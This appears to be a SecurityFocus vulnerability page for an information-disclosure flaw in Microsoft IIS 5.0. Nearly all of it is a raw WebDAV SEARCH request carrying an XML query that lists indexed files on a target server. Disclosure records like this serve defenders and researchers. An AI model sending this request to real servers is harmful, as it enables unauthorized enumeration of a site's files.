Microsoft IIS 5.0 Indexed Directory Disclosure Vulnerability

SEARCH / HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>


 

Privacy Statement
Copyright 2010, SecurityFocus